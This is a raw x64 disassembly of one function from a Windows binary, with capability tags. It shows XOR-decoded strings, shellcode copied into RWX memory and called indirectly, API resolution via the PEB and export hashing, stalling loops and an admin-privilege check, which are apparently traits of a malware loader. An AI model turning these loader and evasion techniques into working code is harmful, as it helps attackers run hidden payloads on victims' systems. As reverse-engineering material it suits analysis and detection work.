Function at 0x140229e00
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0xaa50
call fcn.14025cd40
sub rsp, rax
movaps xmmword [rsp + 0xaa40], xmm6
movaps xmmword [rsp + 0xaa30], xmm7
movaps xmmword [rsp + 0xaa20], xmm8
movaps xmmword [rsp + 0xaa10], xmm9
movaps xmmword [rsp + 0xaa00], xmm10
movaps xmmword [rsp + 0xa9f0], xmm11
movaps xmmword [rsp + 0xa9e0], xmm12
mov rax, qword [0x14027e040]
xor rax, rsp
mov qword [rsp + 0xa9d0], rax
xor edi, edi
mov dword [rsp + 0x88], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0xba0], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0x1a8], rcx
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0xba8], r14
mov qword [rsp + 0xbb0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xba0], rax
mov qword [rcx], rdi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0xb98]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x88], rax
movsd xmm0, qword [0x14026d5b8]
movsd qword [rsp + 0x68], xmm0
movzx ecx, word [0x14026d5c0]
mov word [rsp + 0x70], cx
cmp byte [0x14026d5c1], dil
je 0x140229f39
mov byte [rsp + 0x68], 0x54
xor byte [rsp + 0x69], 0x40
xor byte [rsp + 0x6a], 0x42
xor byte [rsp + 0x6b], 0x44
xor byte [rsp + 0x6c], 0x46
xor byte [rsp + 0x6d], 0x48
xor byte [rsp + 0x6e], 0x4a
xor byte [rsp + 0x6f], 0x4c
xor byte [rsp + 0x70], 0x4e
xor byte [rsp + 0x71], 0x50
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140238090
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x164], 0x64
xorps xmm0, xmm0
movups xmmword [rsp + 0xb20], xmm0
lea rax, [rsp + 0xaa68]
mov qword [rsp + 0xb28], r14
mov qword [rsp + 0xb30], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rsp + 0xb20], r15
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x140282110]
lea r12, [0x1402385f0]
lea rsi, [0x140000000]
test rax, rax
je 0x140229fd6
mov rdx, rdi
nop
cmp rax, r12
je 0x14022a005
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x282110]
test rax, rax
jne 0x140229fc0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x14022a01d
mov r8, rdi
jmp 0x14022a0be
mov r8, qword [rsi + rdx*8 + 0x2843f0]
test r8, r8
je 0x140229fd6
mov r13d, 3
jmp 0x14022a0df
mov rax, r12
mov rcx, r8
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14022a030
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140282760]
mov qword [rsi + rax*8 + 0x282110], r12
mov qword [rsi + rax*8 + 0x2843f0], r8
inc rax
mov qword [0x140282760], rax
lea rdx, [rsp + 0x164]
mov rcx, rbx
call r8
nop
xor r15, r14
mov qword [rsp + 0xb20], r15
lea rax, [rsp + 0xaa68]
mov qword [rax], r15
lea rcx, [rsp + 0xbb8]
call fcn.140212140
nop
mov eax, dword [0x14026aed0]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x14026aed4]
mov byte [rsp + 0x58], 0x65
xor byte [rsp + 0x59], 0x40
xor byte [rsp + 0x5a], 0x42
xor byte [rsp + 0x5b], 0x44
xor al, 0x46
mov byte [rsp + 0x5c], al
lea rcx, [rsp + 0x58]
mov r15, 0xffffffffffffffff
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14022a150
lea rcx, [rsp + 0xbb8]
cmp qword [rsp + 0xbd0], 0xf
cmova rcx, qword [rsp + 0xbb8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
mov rdx, qword [rsp + 0xbc8]
call fcn.140239dd0
cmp rax, r15
je 0x14022a1e2
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x140269690]
lea rcx, [0x140269694]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x140269690]
lea rcx, [0x140269694]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
jmp 0x14022a1e8
mov r12d, 1
lea rbx, [0x14020b5c0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x1402833f0]
test rax, rax
je 0x14022a26c
mov rdx, rdi
lea r8, [0x140238d40]
cmp rax, r8
je 0x14022a25b
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2833f0]
test rax, rax
jne 0x14022a243
jmp 0x14022a26c
mov r8, qword [rsi + rdx*8 + 0x283d80]
test r8, r8
jne 0x14022a35f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x140238d40]
test rax, rax
jne 0x14022a29c
mov r8, rdi
jmp 0x14022a33e
mov rax, r9
mov rcx, r8
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14022a2b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284720]
mov qword [rsi + rax*8 + 0x2833f0], r9
mov qword [rsi + rax*8 + 0x283d80], r8
inc rax
mov qword [0x140284720], rax
mov rcx, rbx
call r8
nop
mov rcx, qword [rsp + 0xb20]
xor rcx, r14
mov qword [rsp + 0xb40], rcx
lea rdx, [rsp + 0xaa68]
mov qword [rdx], rcx
test al, al
je 0x14022a591
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x20d4], 0xffffffff
mov dword [rsp + 0xd54], eax
mov rdx, r12
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xd54], eax
inc rdx
cmp rdx, 0x270
jb 0x14022a3b0
mov dword [rsp + 0xd50], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xb20]
call fcn.1401f17b0
mov rsi, qword [rsp + 0xb20]
add rsi, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x758]
call fcn.1401f17b0
cmp qword [rax], rsi
jge 0x14022a588
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rsp + 0xd50]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022a45b
nop dword [rax + rax]
lea rcx, [rsp + 0xd50]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14022a440
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rsp + 0xd50]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022a4ab
nop word [rax + rax]
lea rcx, [rsp + 0xd50]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022a490
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0xd50]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022a4fb
nop
lea rcx, [rsp + 0xd50]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022a4e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0xd50]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022a54b
nop
lea rcx, [rsp + 0xd50]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022a530
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub rdi, 1
jne 0x14022a420
jmp 0x14022a400
mov eax, dword [rsp + 0x40]
jmp 0x1402317b3
movzx eax, word [0x14026b918]
mov word [rsp + 0x78], ax
movzx eax, byte [0x14026b91a]
mov byte [rsp + 0x78], 0x62
xor byte [rsp + 0x79], 0x40
xor al, 0x42
mov byte [rsp + 0x7a], al
lea rdx, [rsp + 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140238090
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
movzx eax, word [0x14026b524]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x14026b526]
mov byte [rsp + 0x7c], 0x62
xor byte [rsp + 0x7d], 0x40
xor al, 0x42
mov byte [rsp + 0x7e], al
lea rdx, [rsp + 0x7c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140238090
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x9f0]
call fcn.1402118c0
mov rdx, rax
lea rcx, [0x1402811e8]
call fcn.140234ef0
lea rcx, [rsp + 0x9f0]
call fcn.140236770
movzx eax, word [0x14026aef0]
mov word [rsp + 0x80], ax
movzx eax, byte [0x14026aef2]
mov byte [rsp + 0x80], 0x62
xor byte [rsp + 0x81], 0x40
xor al, 0x42
mov byte [rsp + 0x82], al
lea rdx, [rsp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140238090
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1402811e8]
lea rcx, [rsp + 0x9d0]
call fcn.140235090
mov rdx, rax
lea rcx, [rsp + 0xa10]
call fcn.1402051a0
mov rdx, rax
lea rcx, [rsp + 0xa30]
call fcn.140204800
mov rdx, rax
lea rbx, [0x140281450]
mov rcx, rbx
call fcn.140234ef0
lea rcx, [rsp + 0xa30]
call fcn.140236770
cmp qword [0x140281468], 0xf
cmova rbx, qword [0x140281450]
mov r8, qword [0x140281460]
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14023ed50
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14022a738
movzx eax, word [0x14026b7f8]
mov word [rsp + 0x50], ax
movsd xmm0, qword [str._.__1j__R]
mov ebx, 1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14026b7fa]
movsd qword [rsp + 0x48], xmm0
mov byte [rsp + 0x48], 0x65
xor byte [rsp + 0x49], 0x40
xor byte [rsp + 0x4a], 0x42
xor byte [rsp + 0x4b], 0x44
xor byte [rsp + 0x4c], 0x46
xor byte [rsp + 0x4d], 0x48
xor byte [rsp + 0x4e], 0x4a
xor byte [rsp + 0x4f], 0x4c
xor byte [rsp + 0x50], 0x4e
xor byte [rsp + 0x51], 0x50
xor al, 0x52
mov byte [rsp + 0x52], al
lea rdx, [rsp + 0x48]
call fcn.140238090
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb58], xmm0
movups xmmword [rsp + 0xb68], xmm0
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xb58], rax
movdqu xmmword [rsp + 0xb60], xmm0
mov qword [rsp + 0xb70], rdi
xor eax, eax
movups xmmword [rsp + 0xbe0], xmm0
movups xmmword [rsp + 0xbf0], xmm0
movups xmmword [rsp + 0xc00], xmm0
movups xmmword [rsp + 0xc10], xmm0
movups xmmword [rsp + 0xc20], xmm0
movups xmmword [rsp + 0xc30], xmm0
movups xmmword [rsp + 0xc40], xmm0
mov qword [rsp + 0xc50], rax
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xbe0], rax
mov byte [rsp + 0xc2c], 0
mov dword [rsp + 0xc30], 7
call fcn.1401f1c50
mov rcx, rax
test rax, rax
je 0x140231846
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc38], rax
call fcn.1401f1c50
mov rcx, rax
test rax, rax
je 0x140231851
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc40], rax
call fcn.1401f1c50
mov rcx, rax
test rax, rax
je 0x14023185c
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc48], rax
call fcn.1401f1c50
mov rcx, rax
test rax, rax
je 0x140231867
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0xb00]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14022a9e5
lea rcx, [rsp + 0xb58]
mov rax, qword [rsp + 0xb58]
call qword [rax + 8]
mov rax, qword [rsp + 0xb00]
mov qword [rsp + 0xb60], rax
lea rdx, [rsp + 0xbe0]
lea rcx, [rsp + 0xb58]
call fcn.140237a50
test al, al
je 0x14022a9e5
lea rcx, [rsp + 0xbe0]
call fcn.1401f1fc0
lea rcx, [rsp + 0xa78]
mov qword [rsp + 0xa70], rcx
mov r8d, r13d
mov rdx, rax
lea rcx, [rsp + 0xa70]
call fcn.1402359c0
nop
mov rdx, qword [rsp + 0xa70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x528], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x538], xmm1
mov r8, r15
inc r8
cmp byte [rdx + r8], 0
jne 0x14022a991
lea rcx, [rsp + 0x528]
call fcn.140206910
lea rdx, [rsp + 0x528]
lea rcx, [0x1402814d8]
call fcn.140234ef0
lea rcx, [rsp + 0x528]
call fcn.140236770
nop
lea rax, [rsp + 0xa78]
mov rcx, qword [rsp + 0xa70]
cmp rcx, rax
je 0x14022a9e5
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdx, qword [rsp + 0x88]
mov rdx, qword [rdx + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x548], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x558], xmm1
mov r8, r15
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x14022aa10
lea rcx, [rsp + 0x548]
call fcn.140239ca0
nop
lea rdx, [rsp + 0x548]
lea rcx, [rsp + 0xb78]
call fcn.1401f3850
nop
lea rcx, [rsp + 0x548]
call fcn.140236670
lea rdx, [rsp + 0xb78]
cmp qword [rsp + 0xb90], 0xf
cmova rdx, qword [rsp + 0xb78]
mov r8, qword [rsp + 0xb88]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14023ed50
lea rdx, [0x140238270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0xf0
lea rcx, [rsp + 0xc60]
call fcn.14025cb24
lea rax, [rsi + 0x26cc48]
mov qword [rsp + 0xc60], rax
lea rcx, [rsp + 0xcf0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x88], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xc70]
lea rcx, [rsp + 0xc60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0xc60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xc60], rax
mov rax, qword [rsp + 0xc60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xc5c], edx
lea rax, [rsp + 0xc70]
mov qword [rsp + 0xb20], rax
lea rcx, [rsp + 0xc70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0xc70], rax
lea rdx, [rsp + 0xb78]
cmp qword [rsp + 0xb90], 0xf
cmova rdx, qword [rsp + 0xb78]
mov r9d, 2
mov r8, qword [rsp + 0xb88]
lea rcx, [rsp + 0xc70]
call fcn.140237370
nop
mov r8b, 0x3a
lea rdx, [0x140281328]
lea rcx, [rsp + 0xc60]
call fcn.14023e760
mov r8b, 0x3a
lea rdx, [0x140281548]
lea rcx, [rsp + 0xc60]
call fcn.14023e760
mov rax, qword [rsp + 0xc60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xc60]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x140281508]
lea rcx, [rsp + 0xc60]
call fcn.14023e760
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x3464], 0xffffffff
mov dword [rsp + 0x20e4], eax
mov rdx, rbx
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x20e4], eax
inc rdx
cmp rdx, 0x270
jb 0x14022ac00
mov dword [rsp + 0x20e0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xb20]
call fcn.1401f17b0
mov r14, qword [rsp + 0xb20]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x7a8]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x14022addf
mov qword [rsp + 0xb20], 0x186a0
lea rcx, [rsp + 0x20e0]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022acab
nop dword [rax]
lea rcx, [rsp + 0x20e0]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14022ac90
shr rax, 0x20
lea r12d, [rax + 0x7fffff9c]
xor r12d, 0x80000000
cmove r12d, ebx
lea rcx, [rsp + 0x20e0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022acfb
nop dword [rax]
lea rcx, [rsp + 0x20e0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022ace0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x20e0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022ad4b
nop
lea rcx, [rsp + 0x20e0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022ad30
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x20e0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022ad9b
nop
lea rcx, [rsp + 0x20e0]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022ad80
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r12d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r12d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0xb20], 1
jne 0x14022ac72
jmp 0x14022ac50
mov eax, dword [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov r9d, edi
movdqa xmm10, xmmword [0x14026e190]
movdqa xmm6, xmmword [0x14026e2d0]
movdqa xmm7, xmmword [0x14026e2f0]
movdqa xmm11, xmmword [str.kkkkmmmm]
movdqa xmm12, xmmword [0x14026e300]
movdqa xmm9, xmmword [0x14026e2c0]
movdqa xmm8, xmmword [0x14026e2a0]
test eax, eax
je 0x14022b0fa
movups xmm0, xmmword [0x14026d030]
movups xmmword [rsp + 0x1f0], xmm0
movups xmm1, xmmword [0x14026d040]
movups xmmword [rsp + 0x200], xmm1
mov eax, dword [0x14026d050]
mov dword [rsp + 0x210], eax
movzx eax, byte [0x14026d054]
mov byte [rsp + 0x214], al
cmp dword [0x14027e090], 2
jl 0x14022b009
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x1f4]
mov edx, dword [rsp + 0xb20]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
